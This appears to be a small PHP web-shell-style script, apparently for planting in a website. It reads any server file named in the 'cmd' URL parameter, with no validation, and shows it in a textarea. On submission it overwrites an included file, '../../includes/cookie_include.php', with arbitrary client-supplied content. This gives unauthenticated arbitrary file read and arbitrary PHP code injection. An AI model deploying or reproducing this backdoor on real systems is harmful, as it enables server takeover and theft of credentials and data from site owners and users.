<?php
$cmd = $_GET["cmd"];
$fp = file ($cmd);
?>
<form action="edit.php" method="POST">
<textarea name="file" cols="300" rows="50">
<?php
    $lines = count($fp);

    For($i=0;$i<$lines;$i++){
        echo $fp[$i];
    }
?>
</textarea><br>
<input type="submit" value="edit">
</form>
<?php

if (isset($_POST["file"])){

    $fw = fopen ("../../includes/cookie_include.php", "w+");
    fwrite ($fw, $_POST["file"]);
    fclose($fw);
    echo "done";

}

?>